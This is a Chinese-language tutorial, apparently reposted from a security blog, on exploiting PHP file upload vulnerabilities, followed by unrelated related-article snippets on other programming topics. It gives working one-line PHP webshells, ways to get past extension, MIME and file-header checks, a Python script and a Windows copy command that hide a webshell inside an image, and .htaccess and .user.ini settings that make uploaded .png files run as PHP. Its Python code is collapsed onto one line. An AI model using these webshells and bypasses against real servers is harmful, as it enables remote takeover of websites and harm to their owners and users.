六、文件上传漏洞

下面内容部分:参考

一、文件上传漏洞解释

解释:文件上传漏洞一般指的就是用户能够绕过服务器的规则设置将自己的木马程序放置于服务器实现远程shell(例如使用蚁剑远程连接),常见的木马有一句话木马(php)

  1. 无需启用short_open_tag<?php@eval($_POST['mypost'])?>
  2. 需要启用short_open_tag<?=eval($_POST['mypost']);?>

1.原理

解释:文件上传漏洞如果存在可能会被攻击端获得webshell,文件上传漏洞的存在,我目前认为可能有下面几个方面

  1. 服务端过滤不力(必需用白名单机制),没有严格对内容进行过滤,放过了应该过滤掉的可疑木马程序
  2. 服务器没有把上传的文件与服务器可运行目录内容分开放置,导致文件能够被随意执行(例如php)
  3. 服务器配置有重要问题

二、文件上传漏洞执行

1.PHP

解释:下面的情况适用于php为服务器的情况

1.1 前端绕过与MIME进行检查

适用条件:服务器对在前端对于文件后缀进行筛选,或服务器在后端对用户调教的Content-Type进行检查

绕过:直接使用Burpsuite,然后上传一个带有php木马的文件,但是将其名字修改为png,这样可以绕过这两个限制,然后使用Burpsuite进行拦截将png后缀重新修改至php实现渗透

MIME常用类型

  1. text/plain
  2. text/html
  3. text/css
  4. text/javascript
  5. image/gif
  6. image/png
  7. image/jpeg
  8. image/bmp
  9. image/webp
  10. image/x-icon
  11. audio/midi
  12. audio/mpeg
  13. application/octet-stream
  14. application/xml
  15. application/pdf

1.2 黑名单绕过

解释:总所周知,在文件上传过滤处,只有白名单才是相对安全的,而黑名单存在各种各样的问题

1.2.1 大小写绕过

适用条件:windows上面部署的服务器,如IIS或者其它;服务器没有过滤大小写

解释:windows上面会自动把类似a.Php转换为a.php这样我们上传a.phP到服务器上就是可以正常运行的a.php

1.2.2 后缀绕过

适用条件:当服务器对用户采取黑名单过滤时,此时用户可以尝试多种可能能够执行php代码的文件后缀

绕过:修改文件名为webshell.php1webshell.php2此时在某些特定情况下(比如apache如果配置不当可能把php1当做php进行解析)可能会执行成功

1.2.3 重写绕过

适用条件:服务器在对文件名过滤时,如果我们上传的内容在黑名单里面,服务器可能会对内容进行删除,此时可能适用重写来进行绕过

绕过:shell.phphpp // 当匹配到php时,shell.phphpp就变为shell.php中间那个php就被删除了

1.3 文件内容验证绕过(图片)

适用条件:服务器对于图片文件不单单会去验证后缀,可能还会去验证文件头,或者内容

1.3.1 文件头

解释:对于上传的图片内容一般未必是通过后缀来进行判断,很多可能都是通过读取其内容进行判
断,一般就是读取文件头。

常见的文件头(GIF那个相对简单可以直接复制GIF89a到文件开头):

  1. JPG: FF D8 FF E0 00 10 4A 46 49 46.
  2. GIF:47 49 46 38 39 61(GIF89a).
  3. PNG:89 50 4E 47

提醒:目前从我利用的经验看,一般GIF89a能超过,其它还没有成功过

构造:

GIF89a
<?=eval($_POST['mypost']);?>
1.3.2 文件木马

解释:通过将正常的图片与php恶意木马连接来形成文件木马,目的是绕过服务器对内容的一般检测

python生成:

from PIL import Imagedef create_image(file_path, file_type, payload):# 创建一个空的白色图片img = Image.new('RGB', (60, 30), color=(73, 109, 137))# 保存图片,并指定文件类型img.save(file_path, file_type)# 加入payloadwith open(file_path, 'a') as f:f.write(payload)# 创建并保存图片payload = '''
<?=eval($_POST['mypost']);?>
'''
# 文件类型 GIF/PNG/JPEG等等
create_image('要生成图片的文件名', '文件类型', payload)

window cmd生成:

copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png

在这里插入图片描述

1.4 服务器相关绕过

1.4.1 window系统特性

解释:window系统有很多与linux不同的特性,比如创建文件后缀有空格会自动删除,利用这些特性说不定可以达到意想不到的效果

  1. 空格:index.php[空格] //window会自动解析为index.php

  2. 加点:index.php......... //window会自动解析为index.php

  3. 加::$DATA::$DATA....

    with open('inex.php::$DATA....', 'w') as f:f.close()
    
1.4.2 .htaccess利用

适用条件:Apache服务器

解释:在Apache当中有两个配置文件分别为httpd-conf(优先级小,管理员才可修改,重启服务器生效)与.htaccess(优先级大,可修改,立即生效),其中httpd-conf是全局文件,.htaccess是局部文件,.htaccess书写的配置能够在局部范围内覆盖httpd-conf的配置

应用:先上传一个.htaccess文件,内容如下(下面内容告诉服务器将.png内容当作php内容去进行解析),然后再上传一个被改名为.png的php木马程序即可

AddType application/x-httpd-php .png
1.4.3 .user.ini利用

相关文章:https://wooyun.js.org/drops/user.ini%E6%96%87%E4%BB%B6%E6%9E%84%E6%88%90%E7%9A%84PHP%E5%90%8E%E9%97%A8.html

适用条件:上传的文件同执行的php程序在一个目录下面,存在于fastcgi运行的php里面

解释:在php当中有两个配置文件分别为php.ini(优先级小,重启服务器生效)与.htaccess(优先级大,修改立即生效),其中 php.ini是全局文件, .user.ini是局部文件, .user.ini书写的配置能够在局部范围内覆盖php.ini的配置

应用:先上传.user.ini,内容如下(下面的内容会让任意一个执行的php文件时,都会同时去执行自动关联的文件如下面的xx.png),如果能够成功,然后再上传一个被改名为xx.png的php木马程序即可,然后再随意访问一个php页面测试即可

注意:上传成功后可能需要等待一会才能生效(可以多传两次)

Auto-prepend-flie=xx.png

三、利用思路

注解:仅仅为本人思路,本人知识浅薄,仅供参考

  1. 先通过F12查看对方服务器是nginx还是apache,并思考可能利用的漏洞
  2. 通过修改Content-Type为正常内容的,测试服务器是否会以此为依据进行判断文件
  3. 如果不以Content-Type为依据通过上传文件test.dwadswafsfwfw测验对方是白名单还是黑名单机制

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/196072.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【C++】【Opencv】霍夫直线检测即cv::HoughLinesP()函数详解和示例

cv::HoughLinesP()&#xff08;函数霍夫直线&#xff09;功能分析是一种用于检测图像中直线的算法&#xff0c;它基于霍夫变换的原理。通过该算法&#xff0c;我们可以从图像中提取出直线信息&#xff0c;从而对图像进行分析和处理。主要经理边缘检测和霍夫直线处理两个步骤。本…

EDA实验-----4*4矩阵键盘与数码管显示测试(Quartus ‖)

目录 一、实验目的 二、实验仪器设备 三、实验原理 四、实验要求 五、实验步骤 六、实验报告 七、实验过程 1.矩阵键盘按键原理 2.数码管原理 3.分频器代码 4.电路图连接 5.文件烧录 一、实验目的 了解数码管的工作原理&#xff1b;掌握4*4矩阵键盘和数码管显示的编…

[python]python筛选excel表格信息并保存到另一个excel

目录 关键词平台说明背景所需库1.安装相关库2.代码实现sourcetarget1 关键词 python、excel、DBC、openpyxl 平台说明 项目Valuepython版本3.6 背景 从一个excel表中遍历删选信息并保存到另一个excel表 所需库 1.openpyxl &#xff1a;是一个用于读写 Excel 文件的 Pyt…

C/C++统计数 2021年12月电子学会青少年软件编程(C/C++)等级考试一级真题答案解析

目录 C/C统计数 一、题目要求 1、编程实现 2、输入输出 二、算法分析 三、程序编写 四、程序说明 五、运行结果 六、考点分析 C/C统计数 2021年12月 C/C编程等级考试一级编程题 一、题目要求 1、编程实现 给定一个数的序列S&#xff0c;以及一个区间[L, R], 求序列…

【C++入门到精通】新的类功能 | 可变参数模板 C++11 [ C++入门 ]

阅读导航 引言一、新的类功能1. 默认成员函数2. 类成员变量初始化3. 强制生成默认函数的关键字default4. 禁止生成默认函数的关键字delete5. override 和 final&#xff08;1&#xff09;override&#xff08;2&#xff09;final 二、可变参数模板递归函数方式展开参数包逗号表…

【c++随笔13】多态

【c随笔13】多态 多态性&#xff08;Polymorphism&#xff09;在面向对象编程中是一个重要概念&#xff0c;它允许以统一的方式处理不同类型的对象&#xff0c;并在运行时动态确定实际执行的方法或函数。一、什么是多态性&#xff1f;1、关键概念&#xff1a;C的多态性2、多态定…

3-docker安装centos7

CentOS7.9下安装完成docker后&#xff0c;后续我们可以在其上安装centos7系统。具体操作如下&#xff1a; 1.以root用户登录CentOS7.9服务器&#xff0c;拉取centos7 images 命令&#xff1a; docker pull centos:centos7 2.加载centos7 images并登录验证 命令&#xff1a;…

一种用于脑肿瘤和组织分割的具有体积特征对齐的三维跨模态特征交互网络

A 3D Cross-Modality Feature Interaction Network With Volumetric Feature Alignment for Brain Tumor and Tissue Segmentation 一种用于脑肿瘤和组织分割的具有体积特征对齐的三维跨模态特征交互网络背景贡献实验方法Cross-Modality Feature Interaction ModuleVolumetric …

【面试经典150 | 算术平方根】

文章目录 写在前面Tag题目来源解题思路方法一&#xff1a;数学表达式方法二&#xff1a;二分法 其他语言python3 写在最后 写在前面 本专栏专注于分析与讲解【面试经典150】算法&#xff0c;两到三天更新一篇文章&#xff0c;欢迎催更…… 专栏内容以分析题目为主&#xff0c;并…

树,二叉树,二叉树遍历,哈夫曼树(详解+刷题)

&#x1f442; 后街男孩经典之精选 - 歌单 - 网易云音乐 &#x1f442; 年轮&#xff08;电视剧《花千骨》男声版插曲&#xff09; - 汪苏泷 - 单曲 - 网易云音乐 目录 &#x1f33c;5.1 -- 树 &#x1f33c;5.2 -- 二叉树 1&#xff0c;性质 2&#xff0c;存储 3&#x…

Figma 插件学习(一)

一.插件介绍 插件在文件中运行&#xff0c;执行一个或多个用户操作&#xff0c;并允许用户自定义其体验或创建更高效的工作流程。 插件通过专用插件API与Figma的编辑器交互。还可以利用外部Web API。 1.插件API 插件API支持读写功能&#xff0c;允许查看、创建和修改文件的…

开源WIFI继电器之硬件电路

一、原理图 源文件 二、原理图说明 1、器件说明 U4&#xff1a;ESP8285模块 U6&#xff1a;触发器 U3&#xff1a;继电器 2、继电器状态检测说明 检测继电器线圈是否通电来判断继电器是否导通&#xff0c;当Q1不导通时&#xff0c;Q1集电极的电压为3.3V&#xff0c;经…